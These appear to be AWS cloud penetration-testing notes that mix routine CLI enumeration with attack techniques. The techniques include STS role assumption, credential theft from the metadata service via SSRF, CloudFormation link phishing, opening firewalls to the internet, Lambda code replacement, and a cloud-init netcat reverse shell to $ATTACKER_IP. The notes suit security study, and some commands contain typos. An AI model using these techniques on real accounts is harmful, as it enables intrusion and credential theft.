50 KiB
AWS Enumeration
Regions
A list of services by region is maintained by AWS There are global and regional services.
Watch out for the global and regional Security Token Service (STS) which provides temporary access to third party identities, since regional STS are also valid in other regions. Global STS are only valid in default regions.
In aws cli,
Regions
got
the cli argument --region
Identity Access Management (IAM)
Permissions are granted directly through IAM identities (IAM Principals) inside an AWS account or indirectly through groups and roles the principal (user or service) has joined.
aws iam list-users
Users can be put into groups instead of direct role assignment, to specify permissions for a collection of users.
aws iam list-groups
Roles can be assumed by other trusted users through policies. Assumed roles are
needed, so that aws support has access to some resources or external identity
Provider (idP) is connected to AWS SSO as a part of federated access. E.g. the
Role for support is AWSServiceRoleForSupport
.
aws iam list-roles
Gaining access to important roles like maintenance opens the door to higher permissions.
Services use resources bound to the IAM inside the account. The scheme for
services is <servicename>amazonaws.com
. Services, as trusted enitites, assume
roles to gain permissions.
A *
represents every principal. Set the *
to make an instance of a service
public through the Internet.
Identify an unknown accountname by using an access key
aws sts get-access-key-info --access-key <AKIAkey>
The IAM is not necessarily used by S3. AK/SK is sufficient for authentication and authorization.
- AWS got unique ID prefixes
- An AWS unqiue Account ID has a length of 12 digits.
- Longterm Access key ID, starts with
AKIA
+ 20 chars - Secret access key (SK)
- Shortterm Session token,
ASIA
+ sessionToken - AWS Organizations control accounts who joined
- Third party identity providers are supported
- IAM identity center of an organization allows provision of accounts from third parties through the AWS SSO
Root Accounts
Every AWS account has a single root account bound to an email address, which is also the username. This account has got the all privileges over the account. A root account has MFA disabled by default. It has all permissions except Organizational Service Control Policies.
The account is susceptible to an attack if the mail address is accessible but
MFA is not activated.
The email address of the root account, which is called MasterAccountEmail
can
be found as member of an AWS Organization
aws organizations describe-organization
If the MFA is not set, it is an opportunity for a password reset attack when the account the vulnerable root belongs to is part of an AWS Organization.
If the email address is also linked to an Amazon retail account and it is shared between people, everyone has full root access.
Principal, Resource & Service Policies
Policies are an authorization measurement. After authentication of a user (or principal) policies of the account are checked if the request is allowed. A policy may also be attached to a resource or (in an organization) a service. Policy evaluation can be found in the AWS docs. There are resource and identity based policies.
aws iam get-policy --policy-arn <ARN>
Policy details consists of the following example
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "s3:ListAllMyBuckets",
"Resource": "*"
}
]
}
Policy enforcement is done via the Effect
keys and either has allow
or
deny
keys set in the JSON object. Deny is default.
The Action
keyword contains a Service and an API keyword on on that service
in the scheme <servicename>:<APIKeyword>
, e.g.
"Action":["ec2:Get*","ec2:Describe*", "s3:*"]
. See the Service Authorization
Docs
The Resource key contains the ARN of the resource the policy is set for.
The Principal
key is only set for resource policies and contains the
principal who is able to act on the resource. For example a *
value allows
public access.
Operators can be used to set conditions using key value pairs inside policies
"Condition": {
"IPAddressIfExists": {"aws:SourceIp": ["xxx"] },
"StringEqualsIfExists": {"aws:sourceVpc": ["yyy"]}
}
Principals, resources and actions can also be excluded specifically through
NotPrincipal
, NotResource
and NotAction
.
The following graph is taken from the documentation, it shows the evaluation logic inside an account
A principal can have multiple policies attached.
Policies like assume-role
and switch-role
can lead to the gain of roles
with higher permissions
A *
inside a "Principal" value represents every principal. Set the *
to
make an instance of a service public through the Internet like this following rule.
"Principal": {
"AWS": "*"
}
Administrator access policies can be queried to see who has elevated permissions.
aws iam get-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam get-policy-version --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --version-id v1
The AdministratorAccess
policy looks like this
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}
AWS Organizations
An organization is a tree structure, made out of a single root account and Organizational Units (UOs). UOs can have children UOs. AN UO may contain multiple AWS accounts. An AWS account can contain multiple user accounts.
An organization has IAM and SSO that also works with external identity Providers (idP). This is done through the AWS IAM Identity Center which is used to confiure roles and permissions.
Further, there is a management account inside any organization. It owns the
role "OrganizationAccountAccessRole". This account uses the policies/roles
mentioned in the User Policies which are assume-role
and
switch-role
on the cli tool and the management web-console to gain
administrative permissions over the UOs inside the organization.
By default the Service Control Policy (SCP) p-full-access
it attached to
every account inside the organization. This SCP allows subscription to all AWS
services. An account can have 5 SCPs at max. Limiting SCPs do not apply to the
management account itself.
User Provisioning and Login
When using the cli command, the aws configuration and credentials are stored at ~/.aws
The
documentation
show how to setup the user login.
Add the credentials to the default plugin via
aws configure
Add credentials to a profile which is not default via
aws configure --profile PROFILENAME
Set a session token for the profile
aws configure --profile PROFILENAME set aws_session_token <sessionToken>
Sanity test a profile through checking its existance via
aws iam list-users
aws s3 ls --profile PROFILENAME
Find account ID to an access key
aws sts get-access-key-info --access-key-id AKIAEXAMPLE
List the (current) user details
aws sts get-caller-identity
aws sts --profile <username> get-caller-identity
Find username to an access key
aws sts get-caller-identity --profile PROFILENAME
List EC2 instances of an account
aws ec2 describe-instances --output text --profile PROFILENAME
In another region
aws ec2 describe-instances --output text --region us-east-1 --profile PROFILENAME
Create a user via cloudshell.
aws iam create-user --user-name <username>
Add a user to a group via cloudshell.
aws iam add-user-to-group --user-name <username> --group-name <groupname>
List groups for a user using aws cli. GroupIds begin with AGPA
.
aws iam list-groups-for-user --user-name padawan
Credentials
User credentials are called profiles on the webUI and console Password is used by the aws cli tool and queried APIs.
Create a user password via aws cli
aws iam create-login-profile --user <username> --password <password>
Change the password using the aws cli
aws iam update-login-profile --user <username> --password <password>
Take a look at the password policy via aws cli
aws iam get-account-password-policy
API Access Keys
Longterm, non-expiring Access key ID start with AKIA
+ 20 chars
List the access keys via aws cli.
aws iam list-access-keys
Create an access key via the aws cli.
aws iam create-access-key --user-name <username>
Disable, enable or delete an access key via the aws cli
aws iam update-access-key --access-key-id <AKIAkey>
aws iam update-access-key --access-key-id <AKIAkey>
aws iam delete-access-key --access-key-id <AKIAkey>
Shortterm Session Keys (STS)
Session keys are short term, they expire. A session key start
with ASIA
.
These are generated by the Security Token Service.
Use aws cli to create a session token through STS.
aws sts get-session-token
If you want to set a profile for a principal that has only an session token use this aws cli commands.
aws configure --profile PROFILENAME
aws configure --profile PROFILENAME set aws_session_token <sessionToken>
Token can be applied to a user as a second factor. If the user is provided by another federated entity through idP the MFA needs to be provided through this solution.
List users with MFA enabled via aws cli.
aws iam list-virtual-mfa-devices
You can get the username of an account through the STS service using the access-key
aws sts get-access-key-info --access-key-id <AKIA-key>
The session token can be found via the cloudshell through the use of curl.
curl -H "X-aws-ec2-metadata-token: $AWS_CONTAINER_AUTHORIZATION_TOKEN" $AWS_CONTAINER_CREDENTIALS_FULL_URI
Assume Roles through STS
A an attack vector, a user can assume a role of higher privileges through the STS. This might happen through a policy bound to a group the user is a member of.
You need an ARN of the role you want to assume
arn:aws:iam::<ACCOUNT_ID>:role/<rolename>
A role session name from the CloudTrail logs is needed, somone who has got the role we want to assume.
Use aws cli to assume the role.
aws --profile <lowprivuser> sts assume-role --role-arn arn:aws:iam::<ACCOUNT_ID>:role/<rolename> --role-session-name <highprivuserthathastherole>
This result of this is to get the AccessKeyId
, SecretAccessKey
and SessionToken
of the user to complete the three needed variables for aquiring the high privilege.
export AWS_SECRET_ACCESS_KEY=<HighPrivUserSK>
export AWS_ACCESS_KEY_ID=<HighPrivUserAK>
export AWS_SESSION_TOKEN=<SessionToken>
Check the current identity after setting the variables via aws cli.
aws sts get-caller-identity
Secrets
Use the secrets manager via
aws secretsmanager help
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id <Name> --region <region>
Amazon Resource Name (ARN)
The ARN is a unique ID which identifies resources.
A Unique ID is create through the following scheme
arn:aws:<service>:<region>:<account_id>:<resource_type>/<resource_name>
IAM - Gain Access through Vulnerabilities
Gathering Credentials
Git repositories, especially on GitLab and Github but also other repositories, can be a source of found credentials. A tool to find sensitive data inside git repository is Trufflesecurity's Trufflehog.
Other repositories, like package repository for programming, are also prone to contain credentials unintentionally.
Credentials can be found in environment variables like AWS_SESSION_TOKEN
,
AWS_ACCESS_KEY_ID
and AWS_SECRET_ACCESS_KEY
, shared credential files inside
home directories like ~/.aws/credentials
, assumed roles cached in
~/.aws/cli/cached
, aws cli configuration file ~/.aws/configuration
, Boto2
and Boto3 or via the IMDS on EC2 instances.
You can get the account name through the STS service using the access-key
aws sts get-access-key-info --access-key-id <AKIA-key>
Identify AccountId, IAM Roles and users as valid principals in an account by creating a resourced based policy. Create the resource which is in need of a resource based policy and update it for the principal you want to enumerate. There are two outcomes
- The principal exists, the policy will be updated/created
- The principal does not exist and there is an error message returned
Use Righteousgambit's Quiet Riot to enumerate AWS, Azure ,GCP principals. A userlist is needed for enumeration of an AccountId. ACL can contain email addresses of root users. These addresses can be found by quiet riot as well. AWS Service Footprinting and roles can be done by quiet riot, too.
These different scans are parameters for the --scan
argument. AWs scans
contain the following numbers.
1. AWS Account IDs
2. AWS Services Footprinting
4. AWS Root User E-mail Address
5. AWS IAM Principals
4.1. IAM Roles
4.2. IAM Users
Gain Access through CloudFormation
It is possible to phish credentials through url manipulation and sending it to someone with higher privileges.
This may be achieved through link manipulation. A link for a CloudFormation Stackset creation looks like this.
https://console.aws.amazon.com/cloudformation/home?region=<region>#/stacks/new?stackName=<maliciousStackName>&templateURL=https://s3.amazonaws.com/<bucketname>/<templatename>.template
CloudFormation Stacks can be listed through aws cli.
aws cloudformation describe-stacks | jq .
Gaining Access through Metadata Service
Metdata Service (IMDS) returns information about the EC2 instance and IAM it uses. Take a look at chapter Metadata Service to get in to the details.
To gain access from the web, you need something like an LFI or a SSRF to
request the IMDS through the EC2 instance, indirectly. Goal is to gain access
to the environment variables and as a result to AWS_SESSION_TOKEN
,
AWS_SECRET_ACCESS_KEY
and AWS_ACCESS_KEY_ID
.
Query the the role name first. Use them to query the instance profile role afterwards.
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<FoundRoleName>
Export the variables and check if you got the instance profile permissions correctly via aws cli.
aws sts get-caller-identity
Credentials Gain through CI/CD
Credentials can be found directly inside files of a bucket or through the use of the bucket by other services, which store credentials inside the bucket as a result of some executed scripts.
Services
An action on an
API
of a service is structured like <servicename>:<APICall>
.
Session tokens can also be created for services for temporary access of resources. This can be done through metadata service on an EC2 instance. The session token and AK/SK are also visible in the environment variables of AWS Lambda.
The session token can be found via the cloudshell through the use of curl.
curl -H "X-aws-ec2-metadata-token: $AWS_CONTAINER_AUTHORIZATION_TOKEN" $AWS_CONTAINER_CREDENTIALS_FULL_URI
Virtual Private Cloud (VPC)
Is a logic network segementation method using its own IP address range. It is a software defined network.
A VPC ID starts with vpc-
and had a length of 8 characters, since 2018 it has
a length of 17 characters.
A VPC is part of the EC2 namespace ec2:CreateVPC
VPC is a regional service. VPCs can have multiple subnets bound to a single AZ, they use host infrastructure components like DHCP, NTP and DNS provided by AWS.
NTP can be found under 169.254.169.123. The DNS resolver Route 53
can be
found under 169.254.169.253. Microsoft's KMS service can be at 169.254.169.250
and 169.254.169.251.
VPCs have ARP only for compatibility but do not need them. Therefore, ARP poisoning is not an option.
Resources inside a VPC have an Elastic Network Interface, a public IP is bound to such a network interface. ENIs nside a VPC are secured by ACL and Security Groups. Other services are secured by IAM.
List available network interfaces with a specific IP address via aws cli.
aws ec2 describe-network-interfaces | \
jq '.Networkinterfaces[] | select(.PrivateIpAddress == "10.100.47.11")'
VPC & Subnet Routing
A VPC Contains EC2 VMs and has an Internet gateway (router) if needed. There are private gateways VPN Gateway (VGW) and Internet Gateways The gateway can be either just ingress, egress, or both. To connect to a VPC, it does not need to be exposed to the Internet. It is accessible through various connection services like Direct Connect or PrivateLink.
A subnet is connected to a NAT gateway, which then connects to a VGW or Internet Gateway. If no explicit routing table is selected for a subnet, it will inherit the main routing table. The routing table sets the availability of the subnet in regards to the Internet Gateway. Routing of the Internet Gateway is a separate rule.
Routes can be set on groupis of CIDR blocks, which are named Managed Prefix Lists. A prefix list controls access to public IP addresses as well.
Describe the prefix lists via aws cli.
aws ec2 describe-prefix-lists
Network Access Control Lists (NACLs)
NACLs are logical, stateless firewalls for entire subnets. Inbound & Outbound
traffic have to be authorized by Allow
and Deny
. Rules are processed
procedural, a Deny
does not override an Allow
. Default NACL is Deny All
.
Security Groups
Security Groups are stateful and get attached to resources like EC2 or Database
services through selecting IP address(ranges) or other Security Groups, protocol
and port(ranges). Security Groups works with Allow
only and separates Ingress
& Egress.
VPC Endpoints
VPC Endpoints connect a VPC with an outside service. The route is set through a table of CIDRs or Managed Prefix Lists.
An attacker may add VPC endpoints to exfiltrate data to S3 buckets under his control.
List available vpcs, and endpoints via aws cli.
aws ec2 describe-vpcs
aws ec2 describe-vpc-endpoints
After listing the endpoints take a look at the routing tables via aws cli.
aws ec2 describe-route-tables --route-table-ids <routeTableId>
Private Link
Private Link is a network interface (ENI) which can be used from the outside without a direct connection to the Internet.
VPC & DNS
Besides Route53, which is available through 169.254.169.253, there is a DNS server in every VPC. It is located at the gateway IP address + 1.
VPC & Monitoring
VPC Flogs log the headers of the packets inside the network traffic. These logs can be send to CloudWatch or a simple S3 bucket.
VPC Traffic Mirroring is used for Deep Packet Inspection (DPI) through mirroring the traffic along a L3 route.
DNS logs are sent to the Cloud Watch Logging in the group named "VPCResolverLogs"
Amazon Guard Duty is used for threat detection and uses Flow & DNS logs.
VPC Connections
Connect the VPC to on-prem via Direct Connect through a dedicated link. Needs a routing table.
Site to Site VPN leverages an IPSec connection through a configured customer gateway instead of a dedicated link, which is cheaper. The customer gateway is linked to the VGW. Needs a routing table.
VPC Peering connects VPCs of different accounts and regions. Useful for disaster recovery. Needs an entry in each routing table. A network connection is always a stub, no connection to third networks through a hop over another one.
Transit Gateway allows multiple hops between VPCs through other VPCs.
Client VPN is a simple VPN connection to the VPCs of an AWS account in use leveraging MFA authentication.
Bind Public IP Address to Access a VPC
A public Ip address is needed to have ingress on an EC2 VM.
Allocate a public Ip address via aws cli
aws ec2 allocate-address
Find details about the ENI of the EC2 instance you want to bind the Ip address to via aws cli.
aws ec2 describe-instances | jq '.Reservations[].Instances[].NetworkInterfaces[]'
Use found AllocationId and NetworkInterfaceId from the steps before. Attach the Ip address to the ENI via aws cli.
aws ec2 associate-address --allocation-id <AllocationId> --network-interface-id <NetworkInterfaceId>
Make the Ip address accessible from the Internet through an Internet Gateway
Get the InternetGatewayId first via aws cli
internet_gateway_id=$(aws ec describe-internet-gateways | jq '.InternetGateways[].InternetGatewayId' -r)
Query the RouteTableId of a specific Tag (of an EC2) via aws cli.
route_table_id=$(aws ec2 desribe-route-tables | jq .'RouteTables[] | select(.Tags[] | select(.Key == "Name" and .Value == "MyGivenTag")) | .RouteTableId' -r)
Add the route through the InternetGateway via aws cli.
aws ec2 create-route --route-table-id $route_table_id --destination-cidr-block 0.0.0.0/0 --gateway-id $internet_gateway_id
Modify the Security Group for Ingress from the Internet via aws cli
Pick a desired Security Group via aws cli.
aws ec2 describe-security-groups | jq .
Create a rule for the security group to allow every connection via aws cli.
aws ec2 authorize-security-group-ingress --protocoll all --port 0-65535 --cidr 0.0.0.0/0 --group-id <GroupId>
Modify ACL for Access
List available ACLs and find the desired NetworkAclId
through aws cli.
aws ec2 describe-network-acls | jq .
Use this NetworkAclId
to create an ingress rule on position 1 through any
protocol on any address via aws cli.
aws ec2 create-network-acl-entry --cidr-block 0.0.0.0/0 --ingress --protocol -1 --rule-action allow --rule-number 1 --network-acl-id <NetworkAclId>
Create an egress rule as well via aws cli.
aws ec2 create-network-acl-entry --cidr-block 0.0.0.0/0 --egress --protocol -1 --rule-action allow --rule-number 1 --network-acl-id <NetworkAclId>
Now the VPC and EC2 is accessible through the internet.
Metadata Service
Metdata Service on EC2
The instance (Openstack) Metadata service can be found under 169.254.169.254.
It can be used
to gain information about the EC2 via a GET request to
http://169.254.169.254/latest/meta-data
.
The instance metadata service has been used for information disclosure of security credentials before. Alexander Hose describes how to use the credentials through aws-cli.
[ec2-user ~] curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
ec2S3FullAccess
[ec2-user ~] curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2S3FullAccess
{
"Code": "Success",
"LastUpdated": "2022-10-01T15:19:43Z",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIAMFKOAUSJ7EXAMPLE",
"SecretAccessKey": "UeEevJGByhEXAMPLEKEY",
"Token": "TQijaZw==",
"Expiration": "2022-10-01T21:44:45Z"
}
Use the credentials to configure aws-cli.
$ aws configure
AWS Access Key ID [None]: ASIAMFKOAUSJ7EXAMPLE
AWS Secret Access Key [None]: UeEevJGByhEXAMPLEKEYEXAMPLEKEY
Default region name [None]: us-east-2
Default output format [None]: json
Add the credentials to the AWS credentials file
[default]
aws_access_key_id = ASIAMFKOAUSJ7EXAMPLE
aws_secret_access_key = UeEevJGByhEXAMPLEKEYEXAMPLEKEY
aws_session_token = TQijaZw==
Metadata Service on ECS
This task metadata service can be found at 169.254.170.2 and is used for the Elastic Container Service (ECS)
Elastic Container Service is using the version 2 of IMDS. The URL for the metadata service is the following.
http://169.254.170.2/v2/metadata
From inside a container curl can be used to get the credentials
curl 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI
Simple Storage Service (S3)
S3 is an object storage without volume limits.
A nested directory structure in a bucket is possible, but pseudo file system for organizing files.
The names of buckets are unique and the namespace of buckets is global but they are stored regionally.
Versioning of files is possible. Files will not be overwritten by updated versions. Files are enrypted by default.
Methods of access control are as follows
Every bucket that was created before November 2018 has a default public access permissions. Since November 2018 public access is blocked by default.
A typical attack includes modifying files on a bucket another service is using.
S3 Policies
Useful permissions to an attack, set through a policy, are s3:GetObject
and s3:PutObject
.
There are identity based and resource based policies for s3 buckets. If global access or read is set, a resource based policy access to the objects is available in general of everyone, unauthenticated.
{
[...]
"Effect": "Allow",
"Principal": "*",
"Action": [
"s3:GetObject",
"s3:PutObject"
],
[...]
}
Check which policies are set
aws s3api get-bucket-policy-status --bucket <bucketname>
aws s3api get-bucket-ownership-controls --bucket <bucketname>
ACL
Existed since before AWS IAM. The ACL is generated for every bucket created. Resource owner gets full permissions. ACL can be extended through principals' canonical userID and services which are allowed or forbidden to access the bucket.
Attack vector: The group Any Authenticated AWS User
can be set as permissions for a group of every
authenticated AWS user.
If the ACL is set to
Anyone
, justcurl
AuthenticatedUsers
,s3
cli with aws key
Scheme
The aws cli scheme for s3 is the following.
http://<bucketname>.s3.amazonaws.com/file.name
or
http://s3.amazonaws.com/BUCKETNAME/FILENAME.ext
Check Read Permissions of a bucket
Use the aws cli to store data from a bucket locally.
aws s3 sync --no-sign-request s3://<bucket-name> .
Check Permissions of a bucket
Check the Policy of the bucket via aws cli.
aws s3api get-bucket-policy --bucket <bucketname> --query Policy --output text | jq .
Or ghetto style, use a PUT
method to see if the bucket may be writeable to
upload a file via
curl -vvv -X PUT $BUCKET_URL --data "Test of write permissions"
List content of public bucket via
aws s3 ls s3://<bucketname>/ --no-sign-request
Download via curl
, wget
or s3
cli via
aws s3 cp s3://<bucketname>/foo_public.xml . --no-sign-request
Lambda
Lambda is a serverless, event-driven compute service offered by AWS. Means, you don't need a backend to a function you want to provider. Queries to the function containing events are send via an API. Invocation of the Lambda functions can be synchronous or asynchronous, but not in parallel. The event and its context are sent through a lambda handler. A Lambda function has its own container deployed. An instance is initiated as a cold start at first run.
![Lambda Service API](./include/telemetry-api-concept-diagram.png
The ARN of a the function invoked is structured in the following way.
arn:aws:lambda:<region>:<AccountId>:function:<functionName>
List Lambda functions via aws cli.
aws lambda list-functions | jq .
Execute a lambda function via aws cli.
aws lambda invoke \
--function-name arn:aws:lambda:<region>:<account_id>:function:<function_name> <arg1>
List policies via aws cli.
aws lambda get-policy \
--function-name arn:aws:lambda:<region>:<account_id>:function:<function_name> \
--query Policy \
--output text \
| jq .
Query a function's details via aws cli, a KMS key is needed.
aws lambda get-function --function-name arn:aws:lambda:<region>:<AccountId>:function:<functionName>
Lambda Buildup
The executed code is frequently stored in a zip file inside an S3 bucket. A
file name is set so the handler can execute it, e.g. function.py
.
The zip file is queried through the API before a functions execution is
triggered. The zip file contains a file name which is called by the handler.
Events can be tested through the web console.
A Lambda function can for 15 minutes at max. Memory for the function execution can be allocated from 128 MB to 10GB. The CPU cores are scaled with the set memory size.
A lambda function has a default runtime specified for the programming language
in use. Custom runtimes can be created as well. The runtime has environment
variables set. These variables are encrypted through a KMS key at rest and can
be queried via lambda:GetFunction
.
Permissions are set through roles, so a Lambda functions is able to act on
other resources. There are policies on who can invoke the Lambda function via
lambda:InvokeFunction
as well. Functions can have public permissions, open to everyone.
Logging output is stdout
and stderr
to CloudWatch as aws/lambda/<functionName>
.
Lambda functions can have public and private Ip addresses on a Hyperplane Extended Network Interface. These ENIs have security grouips attached like usual.
Lambda functions have 500MB of disk space inside the container's /tmp directory or can have an Elastic File System attached (EFS).
Lambda has layers for code sharing. These layers can be found under /opt
.
Lambda functions can be queried through HTTP. The scheme of such a uniquely identified URL is like the following. The request has to be signed if authentication is required.
https://<urlId>.lambda-url.<region>.on.aws
Lambda Vulnerabilities
Vulnerabilities include
- Missing input validation and sanitizaiton on the event sent as user input to the Lambda function
- Sensitive data written to stdout and stderr, which is then sent to CloudWatch
- Lambda in a VPC
- Permissive roles for function execution
Examples of exciting permissions are ReadAccess in general or the following roles.
AmazonS3FullAccess
AWSLambda_FullAccess
- Privilege escalation through access to environment variables
$AWS_ACCESS_KEY_ID
,$AWS_SECRET_ACCESS_KEY
and$AWS_SESSION_TOKEN
inside the Lambda container from function execution or from the webc console
Use the found environment variables to get find the AccountId via aws cli.
export AWS_SESSION_TOKEN=<Found-AWS_SESSION_TOKEN>
export AWS_SECRET_ACCESS_KEY=<Found-AWS_SECRET_ACCESS_KEY>
export AWS_ACCESS_KEY_ID=<Found-AWS_ACCESS_KEY_ID>
aws sts get-caller-identity
- Access to the unencrypted secrets inside environment variables through function execution inside the container
- Use of
lambda:*
instead oflambda:invokeFunction
as part of a resource policy - Use of
Principal: *
inside an IAM policy
List functions and check invocation policies of lambda functions via aws cli.
aws lambda get-function --function-name arn:aws:lambda:<region>:<AccountId>:function:<functionName>
aws lambda get-policy --query Policy --output text --function-name arn:aws:lambda:<region>:<AccountId>:function:<functionName> | jq .
Check policies of the found functions of the Lambda functions via aws cli.
func="<function1> <function2> <function3>"
for fn in $func; do
role=$(aws lambda get-function --function-name <functionName> --query Configuration.Role --output text | aws -F\/ '{print $NF}'
echo "$fn has $role with following policies"
aws iam list-attached-role-policies --role-name $role
for policy in $(aws iam list-role-policies --role-name $role --query PolicyNames --output text); do
echo "$role for $fn has policy $policy"
aws iam get-role-policy --role-name $role --policy-name $policy
done
done
- Modifying Lambda layers through malicious code
- Use the concurrency of Lambda functions as a DoS measurement
Invoke Modified Functions
Get the function ZIP file through the URL or the following aws cli line to inspect the code for sensitive data
func="<function1> <function2> <function3>"
for fn in $func; do
url=$(aws lambda get-functions --function-name $fn --query Code.Location --output text)
curl -s -o $fn.zip $url
mkdir -p $fn
unzip $fn.zip -d $fn
done
Invoke a function with a predefined event, after getting intel from the zip, stored in event.json
via aws cli.
aws lambda invoke --function-name <functionName> --payload fileb://event.json out.json
Update a function through modified source code in a ZIP file via aws cli.
aws lambda update-function-code --region <region> --function-name <functionName> --zip-file fileb://modified.zip
Create a payload next_event.json
and invoke the function via aws cli.
aws lambda invoke --function-name <functionName> --payload fileb://next_event.json out.json
CloudFront
CloudFront is a Content Delivery Network(CDN), which stores static data on Edge Locations, closer to the customer for performance improvements.
Geo-fences can be placed to access the content. Can also use authorization based requests,encryption of data is possible.
A Web Application Firewall (WAF) as well as Distributed Denial of Service (DDoS) prevention can be configured for CloudFront instances.
CloudFront Hosts
An "origin" of a CloudFront instance can be resources like EC2, ELBs or S3 buckets. Origin Access Identities (OAIs), which are resourced based policies for the resources or "origins" of a CloudFront instance, need to be set the owner. For an attack to take place, information about the DNS records of a domain is needed, to find probable CloudFront resources.
Use dig or drill or nslookup to list IP addresses of a (sub-)domain where assets are hosted, potentially. Do A reverse lookup to get the aws domains of the resources behind the IP addresses.
drill assets.example.com
drill <$IP_ADDRESS> -x
How to find a potentially interesting CloudFront assets domain
- Enumerate subdomains of a website
- Do some dorking with a search engine to list the content of a bucket behind an S3 subdomian
- Spider a website via wget or Linkfinder
- Search for certificate details
EC2
Deploy service instances of Virtual machines inside a VPC. Deployment EC2 instances into 26 regions. Supports multiple OSs. On-demand billing.
EC2 can use elastic IP addresses to provide Ingress. A Gateway Load Balancer can be used to do traffic inspection.
Enumerate EC2 Instances
List EC2 instances in the account via aws cli.
aws ec2 describe-instances --query 'Reservations[*].Instances[*].Tags[?Key==`Name`].Value,InstanceId,State.Name,InstanceType,PublicIpAddress,PrivateIpAddress]' --profile PROFILENAME --output json
List all InstanceIds in the account via aws cli.
list=$(aws ec2 describe-instances --region <region_name> --query Reservations[].Instances.InstanceId --output json --profile PROFILENAME | jq .[] -r)
Get user data like cloud-init scripts from the instances via aws cli.
for i in $list;do
aws ec2 describe-instance-attribute --profile PROFILENAME --instance-id $i --attribute userData --output text --query UserData --region <region_name> | base64 -d | > $i-userdata.txt
done
Connect to an EC2 Instance
Connect to the instance using SSH, RDP, SSM, serial console or webconsole. A keypair is needed to be owned to connect, for eaxmple EC2 Connect uses temporary keys. Serial Console has be activated by the adminstrator and the user which will be used to login needs a password set.
The URL scheme for EC2 Connect through the webconsole is the following.
https://console.aws.amazon.com/ec2/v2/connect/$USERNAME/$INSTANCE_ID
Method | Network Access needed | Requires Agent | Requires IAM Permissions |
---|---|---|---|
SSH/RDP | YES | NO | NO |
Instance Connect | YES | YES (amazon linux 2) | NO |
SSM Run Command | No | YES | YES |
SSM Session Manager | NO | YES | YES |
Serial Console | No | Password needed | NO |
Instance Connect and the SSM Session Manager can be used to reset the root
password via sudo passwd root
. After that it is possible to connect to the
root user, e.g. using serial console or just use sudo su root
or su root
directly.
Connect to an EC2 Instance Using a Reverse Shell
The InstanceId has to be known, watch Enumerate EC2 Instances to get these IDs.
Stop the machine using the InstanceId through aws cli.
aws ec2 stop-instances --profile PROFILENAME --instance-ids $INSTANCE_ID
Creat a cloud-init script which contains the reverse shell. The file should contain somethin like the following example, so it will executed at boot time.
#cloud-boothook
#!/bin/bash -x
apt install -y netcat-traditional && nc $ATTACKER_IP 4444 -e /bin/bash
Encode the shellscript via base64.
base64 rev.txt > rev.b64
Upload the encoded file to the stopped instance via aws cli.
aws ec2 modify-instance-attribute --profile PROFILENAME --instance-id $INSTANCE_ID --attribute userData --value file://rev.b64
Start the instance with the uploaded file included via aws cli. Wait for the reverse shell to catch up.
aws ec2 start-instances --profile PROFILENAME --instance-ids $INSTANCE_ID
EC2 and IAM
EC2 instances can use nearly any other service provided by AWS.
There only needs to be access to the credentials. This is can be done through
the Instance MetaData Service (IMDS). The IMDS is available through HTTP on
IP address 169.254.169.254
inside every EC2 instance.
Request Credentials through IMDS
There are two versions of IMDS in place right now. Regardless of the version a name of a role needs to be requested through the IMDS using curl, which is then used to query the token for said role.
Query IMDSv1 Permissions
Query the name of the role via curl.
role_name=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
Through the knowledge of the role name we can request the credentials of that role.
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/${role_name}
Query IMDSv2 Permissions
A token is needed to curl for the name of the role. This is done using curl.
TOKEN=$(curl -s -XPUT http://169.254.169.254/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
The token is used to query the name of the role via curl.
role_name=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
Both, token and name of the role can then be used to request the credentials via curl.
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/${role_name}
PS: If you want to activate IMDSv2 an instance ID is needed to activate it through aws cli.
instance_id=$(curl -s http://169.254.169.254/latest/meta-data/instance-id)
region_name=<region_name>
aws ec2 modify-instance-metadata-options --instance-id $instance_id --https-tokens required --region $region_name
EC2 & Elastic Network Interface (ENI)
Every EC2 instance has at least one ENI to be made available on the network. There is a security group bound to each ENI to limit communication to the EC2 instance. Such security contain for example which IP addresses can access the instance, on which ports and which protocols can be used to access it.
List available ENIs through the webshell of the account.
aws ec2 describe-network-interfaces
EC2 & ELastic Block Storage (EBS)
An EC2 instance has EBS as its set block device, either SSD or HDD.
EBS storage is persistent, snapshots can be created. In contrast to other storage solutions. These other, ephemeral storage solutions can not be snapshotted.
Snapshots can be created from EBSs, which are stored in S3 buckets. Snapshots can be encrypted through KMS and can be shared accross accounts.
Snapshots deliver a lot of useful content. List metadata of a snapshot via aws cli.
aws ec2 describe-snapshots --region <region> --snapshot-ids <snap-id>
This shows the size of the volume in GBs, state of the drive, encryption, ownerId and so on.
A snapshot can be used to create a volume. Snapshots are available in a complete region after they got created, but they need to be in an explicit AZ to mount them.
Create a volume from a snapshot through metadata service on an EC2 instance using the following commands.
Get the current AZ through a metadata token.
TOKEN=$(curl -s -XPUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" http://169.254.169.254/latest/api/token
availability_zone=$(curl -s -H "X-aws-ec2-metdata-token: $TOKEN" http://169.254.169.254/latest/meta-data/placement/availability-zone)
A volume can be created with the use of the snapshot-id, the type, the region and the previously gathered AZ.
aws ec2 create-volume --snapshot-id <snapshotId> --volume-type gp3 --region <region>
--availability-zone $availability_zone
The output contains the VolumeId
to attach the volume to an EC2 instance.
instance_id=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/instance-id)
aws ec2 attach-volume --region <region> --device /dev/sdh --instance-id $instance_id --volume-id <VolumeId>
Mount the created and attached device to the file system
lsblk
sudo mkdir /mnt/attached-volume
